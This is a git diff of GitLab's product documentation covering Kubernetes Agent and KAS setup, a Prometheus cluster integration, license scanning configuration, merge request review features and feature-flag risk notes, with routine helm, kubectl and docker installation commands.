```plaintext - gitlab_kas['enable'] = true - ``` - -1. [Reconfigure GitLab](../../../administration/restart_gitlab.md#omnibus-gitlab-reconfigure). - -To configure any additional options related to GitLab Kubernetes Agent Server, -refer to the **Enable GitLab KAS** section of the -[`gitlab.rb.template`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/master/files/gitlab-config-template/gitlab.rb.template). - -#### Install KAS with GitLab Helm Chart - -For GitLab [Helm Chart](https://gitlab.com/gitlab-org/charts/gitlab) installations, consider the following Helm v3 example. -If you're using Helm v2, you must modify this example. See our [notes regarding deploy with Helm](https://docs.gitlab.com/charts/installation/deployment.html#deploy-using-helm). - -You must set `global.kas.enabled=true` for the KAS to be properly installed and configured: - -```shell -helm repo add gitlab https://charts.gitlab.io/ -helm repo update -helm upgrade --install gitlab gitlab/gitlab \ - --timeout 600s \ - --set global.hosts.domain=<YOUR_DOMAIN> \ - --set global.hosts.externalIP=<YOUR_IP> \ - --set certmanager-issuer.email=<YOUR_EMAIL> \ - --set global.kas.enabled=true -``` - -To specify other options related to the KAS sub-chart, create a `gitlab.kas` sub-section -of your `values.yaml` file: - -```shell -gitlab: - kas: - # put your KAS custom options here -``` - -For details, read [Using the GitLab-KAS chart](https://docs.gitlab.com/charts/charts/gitlab/kas/). - -#### Use an external KAS installation - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299850) in GitLab 13.10. +### Set up the Kubernetes Agent Server -Besides installing KAS with GitLab, you can opt to configure GitLab to use an external KAS. +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.10, the GitLab Kubernetes Agent Server (KAS) became available on GitLab.com under `wss://kas.gitlab.com`. -For GitLab instances installed through the GitLab Helm Chart, see [how to configure your external KAS](https://docs.gitlab.com/charts/charts/globals.html#external-kas). +To use the KAS: -For GitLab instances installed through Omnibus packages: - -1. Edit `/etc/gitlab/gitlab.rb` adding the paths to your external KAS: - - ```ruby - gitlab_kas['enable'] = false - gitlab_kas['api_secret_key'] = 'Your shared secret between GitLab and KAS' - - gitlab_rails['gitlab_kas_enabled'] = true - gitlab_rails['gitlab_kas_external_url'] = 'wss://kas.gitlab.example.com' # User-facing URL for the in-cluster agentk - gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com' # Internal URL for the GitLab backend - ``` - -1. [Reconfigure GitLab](../../../administration/restart_gitlab.md#omnibus-gitlab-reconfigure). +- If you are a self-managed user, follow the instructions to [install the Kubernetes Agent Server](../../../administration/clusters/kas.md). +- If you are a GitLab.com user, when you [set up the configuration repository](#define-a-configuration-repository) for your agent, use `wss://kas.gitlab.com` as the `--kas-address`. ### Define a configuration repository @@ -200,23 +124,9 @@ documentation on the [Kubernetes Agent configuration repository](repository.md). ### Create an Agent record in GitLab -Next, create an GitLab Rails Agent record so the Agent can associate itself with +Next, create a GitLab Rails Agent record to associate it with the configuration repository project. Creating this record also creates a Secret needed to configure -the Agent in subsequent steps. You can create an Agent record either: - -- Through the Rails console: - - ```ruby - project = ::Project.find_by_full_path("path-to/your-configuration-project") - # agent-name should be the same as specified above in the config.yaml - agent = ::Clusters::Agent.create(name: "<agent-name>", project: project) - token = ::Clusters::AgentToken.create(agent: agent) - token.token # this will print out the token you need to use on the next step - ``` - - For full details, read [Starting a Rails console session](../../../administration/operations/rails_console.md#starting-a-rails-console-session). - -- Through GraphQL: **(PREMIUM SELF)** +the Agent in subsequent steps. You can create an Agent record with GraphQL: ```graphql mutation createAgent { @@ -257,23 +167,35 @@ the Agent in subsequent steps. You can create an Agent record either: ### Install the Agent into the cluster -Next, install the in-cluster component of the Agent. +To install the in-cluster component of the Agent, first you need to define a namespace. To create a new namespace, +for example, `gitlab-kubernetes-agent`, run: -NOTE: -For GitLab.com users, the KAS is available at `wss://kas.gitlab.com`. +```shell +kubectl create namespace gitlab-kubernetes-agent +``` -#### One-liner installation +To perform a one-liner installation, run the command below. Make sure to replace: -Replace the value of `agent-token` below with the token received from the previous step. Also, replace `kas-address` with the configured access of the Kubernetes Agent Server: +- `your-agent-token` with the token received from the previous step. +- `gitlab-kubernetes-agent` with the namespace you defined in the previous step. +- `wss://kas.gitlab.example.com` with the configured access of the Kubernetes Agent Server (KAS). For GitLab.com users, the KAS is available under `wss://kas.gitlab.com`. ```shell -docker run --rm registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/cli:latest generate --agent-token=your-agent-token --kas-address=wss://kas.gitlab.example.com --agent-version latest | kubectl apply -f - +docker run --pull=always --rm registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/cli:stable generate --agent-token=your-agent-token --kas-address=wss://kas.gitlab.example.com --agent-version stable --namespace gitlab-kubernetes-agent | kubectl apply -f - ``` +Set `--agent-version` to the latest released patch version matching your +GitLab installation's major and minor versions. For example, if you have +GitLab v13.9.0, set `--agent-version=v13.9.1`. + +WARNING: +Version `stable` can be used to refer to the latest stable release at the time when the command runs. It's fine for +testing purposes but for production please make sure to specify a matching version explicitly. + To find out the various options the above Docker container supports, run: ```shell -docker run --rm -it registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/cli:latest generate --help +docker run --pull=always --rm registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/cli:stable generate --help ``` #### Advanced installation @@ -286,17 +208,11 @@ Otherwise, you can follow below for fully manual, detailed installation steps. After generating the token, you must apply it to the Kubernetes cluster. -1. If you haven't previously defined or created a namespace, run the following command: - - ```shell - kubectl create namespace <YOUR-DESIRED-NAMESPACE> - ``` +To create your Secret, run: -1. Run the following command to create your Secret: - - ```shell - kubectl create secret generic -n <YOUR-DESIRED-NAMESPACE> gitlab-agent-token --from-literal=token='YOUR_AGENT_TOKEN' - ``` +```shell +kubectl create secret generic -n <YOUR_NAMESPACE> gitlab-agent-token --from-literal=token='YOUR_AGENT_TOKEN' +``` The following example file contains the Kubernetes resources required for the Agent to be installed. You can modify this @@ -314,7 +230,7 @@ example [`resources.yml` file](#example-resourcesyml-file) in the following ways `kas-address`, where `GitLab.host.tld` is your GitLab hostname. - When using the sub-chart, specify the `ws` scheme (such as `ws://kas.host.tld:80`) to use an unencrypted WebSockets connection. - When using the Omnibus GitLab, specify the `ws` scheme (such as `ws://GitLab.host.tld:80/-/kubernetes-agent`). + When using the Omnibus GitLab, specify the `ws` scheme (such as `ws://GitLab.host.tld:80/-/kubernetes-agent/`). - Specify the `grpc` scheme if both Agent and Server are installed in one cluster. In this case, you may specify `kas-address` value as `grpc://gitlab-kas.<your-namespace>:5005`) to use gRPC directly, where `gitlab-kas` @@ -326,7 +242,7 @@ example [`resources.yml` file](#example-resourcesyml-file) in the following ways - When deploying KAS through the [GitLab chart](https://docs.gitlab.com/charts/), it's possible to customize the `kas-address` for `wss` and `ws` schemes to whatever you need. Check the [chart's KAS Ingress documentation](https://docs.gitlab.com/charts/charts/gitlab/kas/#ingress) to learn more about it. - - In the near future, Omnibus GitLab intends to provision `gitlab-kas` under a sub-domain by default, instead of the `/-/kubernetes-agent` path. Please follow [this issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5784) for details. + - In the near future, Omnibus GitLab intends to provision `gitlab-kas` under a sub-domain by default, instead of the `/-/kubernetes-agent/` path. Please follow [this issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5784) for details. - If you defined your own secret name, replace `gitlab-agent-token` with your secret name in the `secretName:` section. @@ -370,7 +286,8 @@ spec: serviceAccountName: gitlab-agent containers: - name: agent - image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:latest" + # Make sure to specify a matching version for production + image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:stable" args: - --token-file=/config/token - --kas-address @@ -549,7 +466,7 @@ cilium: ## Management interfaces Users with at least the [Developer](../../permissions.md) can access the user interface -for the GitLab Kubernetes agent at **Operations > Kubernetes** and selecting the +for the GitLab Kubernetes agent at **Operations > Kubernetes** under the **GitLab Agent managed clusters** tab. This page lists all registered agents for the current project, and the configuration directory for each agent: @@ -561,36 +478,17 @@ Additional management interfaces are planned for the GitLab Kubernetes Agent. ## Troubleshooting If you face any issues while using GitLab Kubernetes Agent, you can read the -service logs with the following commands: - -- KAS pod logs - Tail these logs with the - `kubectl logs -f -l=app=kas -n <YOUR-GITLAB-NAMESPACE>` - command. In Omnibus GitLab, the logs reside in `/var/log/gitlab/gitlab-kas/`. -- Agent pod logs - Tail these logs with the - `kubectl logs -f -l=app=gitlab-agent -n <YOUR-DESIRED-NAMESPACE>` command. - -### KAS logs - GitOps: failed to get project info - -```plaintext -{"level":"warn","time":"2020-10-30T08:37:26.123Z","msg":"GitOps: failed to get project info","agent_id":4,"project_id":"root/kas-manifest001","error":"error kind: 0; status: 404"} -``` - -This error is shown if the specified manifest project `root/kas-manifest001` -doesn't exist, or if a project is private. To fix it, make sure the project exists -and its visibility is [set to public](../../../public_access/public_access.md). +service logs with the following command -### KAS logs - Configuration file not found - -```plaintext -time="2020-10-29T04:44:14Z" level=warning msg="Config: failed to fetch" agent_id=2 error="configuration file not found: \".gitlab/agents/test-agent/config.yaml\ +```shell +kubectl logs -f -l=app=gitlab-agent -n <YOUR-DESIRED-NAMESPACE> ``` -This error is shown if the path to the configuration project was specified incorrectly, -or if the path to `config.yaml` inside the project is not valid. +GitLab administrators can additionally view the [Kubernetes Agent Server logs](../../../administration/clusters/kas.md#troubleshooting). ### Agent logs - Transport: Error while dialing failed to WebSocket dial -```plaintext +```json {"level":"warn","time":"2020-11-04T10:14:39.368Z","msg":"GetConfiguration failed","error":"rpc error: code = Unavailable desc = connection error: desc = \"transport: Error while dialing failed to WebSocket dial: failed to send handshake request: Get \\\"https://gitlab-kas:443/-/kubernetes-agent\\\": dial tcp: lookup gitlab-kas on 10.60.0.10:53: no such host\""} ``` @@ -610,7 +508,7 @@ may try using them to create objects in Kubernetes directly for more troubleshoo ### Agent logs - Error while dialing failed to WebSocket dial: failed to send handshake request -```plaintext +```json {"level":"warn","time":"2020-10-30T09:50:51.173Z","msg":"GetConfiguration failed","error":"rpc error: code = Unavailable desc = connection error: desc = \"transport: Error while dialing failed to WebSocket dial: failed to send handshake request: Get \\\"https://GitLabhost.tld:443/-/kubernetes-agent\\\": net/http: HTTP/1.x transport connection broken: malformed HTTP response \\\"\\\\x00\\\\x00\\\\x06\\\\x04\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00@\\\\x00\\\"\""} ``` @@ -626,7 +524,7 @@ issue is in progress, directly edit the deployment with the ### Agent logs - Decompressor is not installed for grpc-encoding -```plaintext +```json {"level":"warn","time":"2020-11-05T05:25:46.916Z","msg":"GetConfiguration.Recv failed","error":"rpc error: code = Unimplemented desc = grpc: Decompressor is not installed for grpc-encoding \"gzip\""} ``` @@ -635,7 +533,7 @@ To fix it, make sure that both `agentk` and KAS use the same versions. ### Agent logs - Certificate signed by unknown authority -```plaintext +```json {"level":"error","time":"2021-02-25T07:22:37.158Z","msg":"Reverse tunnel","mod_name":"reverse_tunnel","error":"Connect(): rpc error: code = Unavailable desc = connection error: desc = \"transport: Error while dialing failed to WebSocket dial: failed to send handshake request: Get \\\"https://GitLabhost.tld:443/-/kubernetes-agent/\\\": x509: certificate signed by unknown authority\""} ``` @@ -652,17 +550,17 @@ kubectl -n gitlab-agent create configmap ca-pemstore --from-file=myCA.pem Then in `resources.yml`: -```plaintext +```yaml spec: serviceAccountName: gitlab-agent containers: - name: agent - image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:latest" + image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:<version>" args: - --token-file=/config/token - --kas-address - wss://kas.host.tld:443 # change this line for the one below if using Omnibus GitLab - # - wss://gitlab.host.tld:443/-/kubernetes-agent + # - wss://gitlab.host.tld:443/-/kubernetes-agent/ volumeMounts: - name: token-volume mountPath: /config @@ -684,16 +582,16 @@ Then in `resources.yml`: Alternatively, you can mount the certificate file at a different location and include it using the `--ca-cert-file` agent parameter: -```plaintext +```yaml containers: - name: agent - image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:latest" + image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:<version>" args: - --ca-cert-file=/tmp/myCA.pem - --token-file=/config/token - --kas-address - wss://kas.host.tld:443 # change this line for the one below if using Omnibus GitLab - # - wss://gitlab.host.tld:443/-/kubernetes-agent + # - wss://gitlab.host.tld:443/-/kubernetes-agent/ volumeMounts: - name: token-volume mountPath: /config diff --git a/doc/user/clusters/agent/repository.md b/doc/user/clusters/agent/repository.md index 60d8cd352fc..9caa4a89daf 100644 --- a/doc/user/clusters/agent/repository.md +++ b/doc/user/clusters/agent/repository.md @@ -4,10 +4,10 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Kubernetes Agent configuration repository **(PREMIUM SELF)** +# Kubernetes Agent configuration repository **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7. -> - It's disabled on GitLab.com. Rolling this feature out to GitLab.com is [planned](https://gitlab.com/groups/gitlab-org/-/epics/3834). +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in GitLab 13.11, the Kubernetes Agent became available on GitLab.com. WARNING: This feature might not be available to you. Check the **version history** note above for details. diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md index 5c3b276b90c..b11ca7aac12 100644 --- a/doc/user/clusters/applications.md +++ b/doc/user/clusters/applications.md @@ -91,7 +91,7 @@ apps were fetched from the central Helm stable repository (`https://kubernetes-c This repository [was deleted](https://github.com/helm/charts#deprecation-timeline) on November 13, 2020. This causes the installation CI/CD pipeline to fail. Upgrade to GitLab 13.6, or alternatively, you can -use the following `.gitlab-ci.yml`, which has been tested on GitLab 13.5: +use the following `.gitlab-ci.yml`, which has been tested in GitLab 13.5: ```yaml include: @@ -1001,8 +1001,8 @@ Logs produced by pods running **GitLab Managed Apps** can be browsed using ## Install with one click WARNING: -The one click installation method is scheduled for removal in GitLab 14.0. The removal -of this feature from GitLab does not affect installed applications to avoid breaking +The one-click installation method is deprecated and scheduled for removal in [GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280). +This removal does not affect installed applications to avoid breaking changes. Following GitLab 14.0, users can take ownership of already installed applications using our documentation. @@ -1062,7 +1062,7 @@ supported by GitLab before installing any of the applications. used to install the GitLab-managed apps. GitLab runs each `helm` command in a pod in the `gitlab-managed-apps` namespace inside the cluster. -- For clusters created on GitLab 13.6 and newer, GitLab uses Helm 3 to manage +- For clusters created in GitLab 13.6 and newer, GitLab uses Helm 3 to manage applications. - For clusters created on versions of GitLab prior to 13.6, GitLab uses Helm 2 with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. Prior @@ -1239,7 +1239,7 @@ of a WAF are: By default, GitLab provides you with a WAF known as [`ModSecurity`](https://www.modsecurity.org/), which is a toolkit for real-time web application monitoring, logging, and access -control. GitLab applies the [OWASP's Core Rule Set](https://www.modsecurity.org/CRS/Documentation/), +control. GitLab applies the [OWASP's Core Rule Set](https://coreruleset.org/), which provides generic attack detection capabilities. This feature: @@ -1314,7 +1314,7 @@ tracked over time: - The total amount of traffic to your application. - The proportion of traffic that's considered anomalous by the Web Application - Firewall's default [OWASP ruleset](https://www.modsecurity.org/CRS/Documentation/). + Firewall's default [OWASP ruleset](https://coreruleset.org/). If a significant percentage of traffic is anomalous, investigate it for potential threats by [examining the Web Application Firewall logs](#web-application-firewall-modsecurity). diff --git a/doc/user/clusters/integrations.md b/doc/user/clusters/integrations.md new file mode 100644 index 00000000000..74c48d1a010 --- /dev/null +++ b/doc/user/clusters/integrations.md @@ -0,0 +1,68 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Cluster integrations **(FREE)** + +GitLab provides several ways to integrate applications to your +Kubernetes cluster. + +To enable cluster integrations, first add a Kubernetes cluster to a GitLab +[project](../project/clusters/add_remove_clusters.md) or [group](../group/clusters/index.md#group-level-kubernetes-clusters). + +## Prometheus cluster integration + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55244) in GitLab 13.11. + +You can integrate your Kubernetes cluster with +[Prometheus](https://prometheus.io/) for monitoring key metrics of your +apps directly from the GitLab UI. + +Once enabled, you will see metrics from services available in the +[metrics library](../project/integrations/prometheus_library/index.md). + +Prerequisites: + +To benefit from this integration, you must have Prometheus +installed in your cluster with the following requirements: + +1. Prometheus must be installed inside the `gitlab-managed-apps` namespace. +1. The `Service` resource for Prometheus must be named `prometheus-prometheus-server`. + +You can use the following commands to install Prometheus to meet the requirements for cluster integrations: + +```shell +# Create the require Kubernetes namespace +kubectl create ns gitlab-managed-apps + +# Download Helm chart values that is compatible with the requirements above. +# You should substitute the tag that corresponds to the GitLab version in the url +# - https://gitlab.com/gitlab-org/gitlab/-/raw/<tag>/vendor/prometheus/values.yaml +# +wget https://gitlab.com/gitlab-org/gitlab/-/raw/v13.9.0-ee/vendor/prometheus/values.yaml + +# Add the Prometheus community helm repo +helm repo add prometheus-community https://prometheus-community.github.io/helm-charts + +# Install Prometheus +helm install prometheus prometheus-community/prometheus -n gitlab-managed-apps --values values.yaml +``` + +Alternatively, you can use your preferred installation method to install +Prometheus as long as you meet the requirements above. + +### Enable Prometheus integration for your cluster + +To enable the Prometheus integration for your cluster: + +1. Go to the cluster's page: + - For a [project-level cluster](../project/clusters/index.md), navigate to your project's + **Operations > Kubernetes**. + - For a [group-level cluster](../group/clusters/index.md), navigate to your group's + **Kubernetes** page. +1. Select the **Integrations** tab. +1. Check the **Enable Prometheus integration** checkbox. +1. Click **Save changes**. +1. Go to the **Health** tab to see your cluster's metrics. diff --git a/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_11.png b/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_11.png Binary files differnew file mode 100644 index 00000000000..95e176b71b8 --- /dev/null +++ b/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_11.png diff --git a/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_6.png b/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_6.png Binary files differdeleted file mode 100644 index b2ac4f95e0d..00000000000 --- a/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_6.png +++ /dev/null diff --git a/doc/user/compliance/compliance_dashboard/index.md b/doc/user/compliance/compliance_dashboard/index.md index f1dfc431f25..8f620fe41bb 100644 --- a/doc/user/compliance/compliance_dashboard/index.md +++ b/doc/user/compliance/compliance_dashboard/index.md @@ -17,7 +17,7 @@ for merging into production. To access the Compliance Dashboard for a group, navigate to **{shield}** **Security & Compliance > Compliance** on the group's menu. - + NOTE: The Compliance Dashboard shows only the latest MR on each project. diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md index 6c734a76059..823a0561beb 100644 --- a/doc/user/compliance/license_compliance/index.md +++ b/doc/user/compliance/license_compliance/index.md @@ -115,7 +115,7 @@ the `license_management` job, so you must migrate to the `license_scanning` job `License-Scanning.gitlab-ci.yml` template. The results are saved as a -[License Compliance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportslicense_scanning) +[License Compliance report artifact](../../../ci/yaml/README.md#artifactsreportslicense_scanning) that you can later download and analyze. Due to implementation limitations, we always take the latest License Compliance artifact available. Behind the scenes, the [GitLab License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/analyzers/license-finder) @@ -157,7 +157,7 @@ The `license_management` image already embeds many auto-detection scripts, langu and packages. Nevertheless, it's almost impossible to cover all cases for all projects. That's why sometimes it's necessary to install extra packages, or to have extra steps in the project automated setup, like the download and installation of a certificate. -For that, a `LICENSE_MANAGEMENT_SETUP_CMD` CI/CD variable can be passed to the container, +For that, a `SETUP_CMD` CI/CD variable can be passed to the container, with the required commands to run before the license detection. If present, this variable overrides the setup step necessary to install all the packages @@ -171,7 +171,7 @@ include: - template: Security/License-Scanning.gitlab-ci.yml variables: - LICENSE_MANAGEMENT_SETUP_CMD: sh my-custom-install-script.sh + SETUP_CMD: sh my-custom-install-script.sh ``` In this example, `my-custom-install-script.sh` is a shell script at the root @@ -490,7 +490,7 @@ example: } ``` -If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/README.md#protect-a-custom-variable) +If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/README.md#protect-a-cicd-variable) following the naming convention described in the [`CONAN_LOGIN_USERNAME` documentation](https://docs.conan.io/en/latest/reference/env_vars.html#conan-login-username-conan-login-username-remote-name). #### Custom root certificates for Conan @@ -759,6 +759,29 @@ An approval is optional when a license report: ## Troubleshooting +### ASDF_PYTHON_VERSION does not automatically install the version + +Defining a non-latest Python version in ASDF_PYTHON_VERSION [doesn't have it automatically installed](https://gitlab.com/gitlab-org/gitlab/-/issues/325604). If your project requires a non-latest version of Python: + +1. Define the required version by setting the `ASDF_PYTHON_VERSION` CI/CD variable. +1. Pass a custom script to the `SETUP_CMD` CI/CD variable to install the required version and dependencies. + +For example: + +```yaml +include: + - template: Security/License-Scanning.gitlab-ci.yml + +license_scanning: + SETUP_CMD: ./setup.sh + ASDF_PYTHON_VERSION: "3.7.2" + before_script: + - echo "asdf install python 3.7.2 && pip install -r requirements.txt" > setup.sh + - chmod +x setup.sh + - apt-get -y update + - apt-get -y install build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python-openssl git +``` + ### `ERROR -- : asdf: No preset version installed for command` This error occurs when the version of the tools used by your project diff --git a/doc/user/discussions/img/mr_review_new_comment_v13_11.png b/doc/user/discussions/img/mr_review_new_comment_v13_11.png Binary files differnew file mode 100644 index 00000000000..6b4899bf67f --- /dev/null +++ b/doc/user/discussions/img/mr_review_new_comment_v13_11.png diff --git a/doc/user/discussions/img/review_preview.png b/doc/user/discussions/img/review_preview.png Binary files differdeleted file mode 100644 index e69a58dbb91..00000000000 --- a/doc/user/discussions/img/review_preview.png +++ /dev/null diff --git a/doc/user/discussions/img/review_preview_v13_11.png b/doc/user/discussions/img/review_preview_v13_11.png Binary files differnew file mode 100644 index 00000000000..79e33aa0991 --- /dev/null +++ b/doc/user/discussions/img/review_preview_v13_11.png diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md index 0ac79a011ca..aa49f9468be 100644 --- a/doc/user/discussions/index.md +++ b/doc/user/discussions/index.md @@ -119,7 +119,7 @@ the unresolved threads.  -Hitting **Submit issue** causes all threads to be marked as resolved and +Hitting **Create issue** causes all threads to be marked as resolved and add a note referring to the newly created issue.  @@ -269,10 +269,10 @@ Additionally, locked issues and merge requests can't be reopened. ## Confidential Comments > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207473) in GitLab 13.9. -> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to enable it. **(FREE SELF)** +> - [Deployed behind a feature flag](../feature_flags.md), disabled by default. +> - Disabled on GitLab.com. +> - Not recommended for production use. +> - To use in GitLab self-managed instances, ask a GitLab administrator to enable it. **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -285,7 +285,7 @@ To create a confidential comment, select the **Make this comment confidential** ## Merge request reviews -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4213) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.4. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4213) in GitLab Premium 11.4. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/28154) to GitLab Free in 13.1. When looking at a merge request diff, you are able to start a review. @@ -334,22 +334,28 @@ comment itself.  +### Adding a new comment + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8225) in GitLab 13.10. + +If you have a review in progress, you will be presented with the option to **Add to review**: + + + ### Submitting a review If you have any comments that have not been submitted, a bar displays at the bottom of the screen with two buttons: -- **Discard**: Discards all comments that have not been submitted. -- **Finish review**: Opens a list of comments ready to be submitted for review. - Clicking **Submit review** publishes all comments. Any quick actions - submitted are performed at this time. +- **Pending comments**: Opens a list of comments ready to be submitted for review. +- **Submit review**: Publishes all comments. Any quick actions submitted are performed at this time. Alternatively, to finish the entire review from a pending comment: -- Click the **Finish review** button on the comment. +- Click the **Submit review** button on the comment. - Use the `/submit_review` [quick action](../project/quick_actions.md) in the text of non-review comment. - + Submitting the review sends a single email to every notifiable user of the merge request with all the comments associated to it. @@ -486,11 +492,9 @@ introduced by [#25381](https://gitlab.com/gitlab-org/gitlab/-/issues/25381). ### Batch Suggestions -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25486) in GitLab 13.1 as an [alpha feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha). -> - It was deployed behind a feature flag, disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/227799) on GitLab 13.2. -> - It's enabled on GitLab.com. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-batch-suggestions). +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25486) in GitLab 13.1 as an [alpha feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha) behind a feature flag, disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/227799) in GitLab 13.2. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/320755) in GitLab 13.11. You can apply multiple suggestions at once to reduce the number of commits added to your branch to address your reviewers' requests. @@ -540,7 +544,7 @@ You can assign an issue to a user who made a comment. In the comment, click the **More Actions** menu and click **Assign to commenting user**. -Click the button again to unassign the commenter. + Click the button again to unassign the commenter.  @@ -562,24 +566,3 @@ To disable it: ```ruby Feature.disable(:confidential_notes) ``` - -## Enable or disable Batch Suggestions **(FREE SELF)** - -Batch Suggestions is -deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it for your instance. - -To enable it: - -```ruby -# Instance-wide -Feature.enable(:batch_suggestions) -``` - -To disable it: - -```ruby -# Instance-wide -Feature.disable(:batch_suggestions) -``` diff --git a/doc/user/feature_flags.md b/doc/user/feature_flags.md index a6be4c69f81..5be28de4101 100644 --- a/doc/user/feature_flags.md +++ b/doc/user/feature_flags.md @@ -18,9 +18,9 @@ may be unavailable to you. In this case, you'll see a warning like this in the feature documentation: -WARNING: -This feature might not be available to you. Review the **version history** note -on this page for details. +This in-development feature might not be available for your use. There can be +[risks when enabling features still in development](#risks-when-enabling-features-still-in-development). +Refer to this feature's version history for more details. In the version history note, you'll find information on the state of the feature flag, including whether the feature is on ("enabled by default") or @@ -41,3 +41,17 @@ although changing a feature's default state isn't recommended. If you're a GitLab.com user and the feature is disabled, be aware that GitLab may be working on the feature for potential release in the future. + +## Risks when enabling features still in development + +Features that are disabled by default may change or be removed without notice in a future version of GitLab. + +Data corruption, stability degradation, or performance degradation might occur if +you enable a feature that's disabled by default. Problems caused by using a default +disabled feature aren't covered by GitLab support, unless you were directed by GitLab +to enable the feature. + +## Risks when disabling released features + +In most cases, the feature flag code is removed in a future version of GitLab. +If and when that occurs, from that point onward you can't keep the feature in a disabled state. diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md index c61e49993e6..6e38534b044 100644 --- a/doc/user/gitlab_com/index.md +++ b/doc/user/gitlab_com/index.md @@ -50,7 +50,7 @@ Projects can be backed up in their entirety by exporting them either [through th With exports, be sure to take note of [what is and is not](../project/settings/import_export.md#exported-contents), included in a project export. -Since GitLab is built on Git, you can back up **just** the repository of a project by [cloning](../../gitlab-basics/start-using-git.md#clone-a-repository) it to another machine. Similarly, if you need to back up just the wiki of a repository it can also be cloned and all files uploaded to that wiki are included [if they were uploaded after 2020-08-22](../project/wiki/index.md#creating-a-new-wiki-page). +Since GitLab is built on Git, you can back up **just** the repository of a project by [cloning](../../gitlab-basics/start-using-git.md#clone-a-repository) it to another machine. Similarly, if you need to back up just the wiki of a repository it can also be cloned and all files uploaded to that wiki are included [if they were uploaded after 2020-08-22](../project/wiki/index.md#create-a-new-wiki-page). ## Alternative SSH port @@ -113,7 +113,7 @@ or over the repository size limit, you can [reduce your repository size with Git | Setting | GitLab.com | Default | | ----------- | ----------- | ------------- | -| [Repository size including LFS](../admin_area/settings/account_and_limit_settings.md) | 10 GB | Unlimited | +| [Repository size including LFS](../admin_area/settings/account_and_limit_settings.md#repository-size-limit) | 10 GB | Unlimited | | Maximum import size | 5 GB | Unlimited ([Modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to unlimited in GitLab 13.8. | NOTE: @@ -121,7 +121,7 @@ NOTE: ## IP range -GitLab.com is using the IP range `34.74.90.64/28` for traffic from its Web/API +GitLab.com uses the IP ranges `34.74.90.64/28` and `34.74.226.0/24` for traffic from its Web/API fleet. This whole range is solely allocated to GitLab. You can expect connections from webhooks or repository mirroring to come from those IPs and allow them. @@ -205,7 +205,7 @@ can be used for: - Downloading assets from a CDN - Any other commands that must run before the `git init` -To use this feature, define a [CI/CD variable](../../ci/variables/README.md#create-a-custom-variable-in-the-ui) called +To use this feature, define a [CI/CD variable](../../ci/variables/README.md#custom-cicd-variables) called 